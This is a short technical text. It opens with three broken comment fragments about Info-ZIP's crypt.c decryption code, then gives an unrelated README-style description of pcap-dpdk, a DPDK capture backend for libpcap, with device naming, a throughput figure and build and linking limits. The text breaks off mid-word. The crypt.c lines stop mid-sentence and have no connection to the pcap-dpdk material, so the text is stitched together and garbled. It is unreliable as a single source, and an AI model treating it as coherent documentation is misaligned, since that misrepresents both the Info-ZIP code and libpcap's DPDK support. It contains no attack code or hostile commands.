  Decryption code comes from crypt.c by Info-ZIP but has been greatly reduced in terms of

        crypt.c (full version) by Info-ZIP.      Last revised:  [see crypt.h]

  The encryption/decryption parts of this source code (as opposed to the

Description:
1. Pcap-dpdk provides libpcap the ability to use DPDK with the device name as dpdk:{portid}, such as dpdk:0.
2. DPDK is a set of libraries and drivers for fast packet processing. (https://www.dpdk.org/)
3. The testprogs/capturetest provides 6.4Gbps/800,000 pps on Intel 10-Gigabit X540-AT2 with DPDK 18.11.

Limitations:
1. DPDK support will be on if DPDK is available. Please set DIR for --with-dpdk[=DIR] with ./configure or -DDPDK_DIR[=DIR] with cmake if DPDK is installed manually.
2. Only support link libdpdk.so dynamically, because the libdpdk.a will not work correctly.
3. Only support read ope...
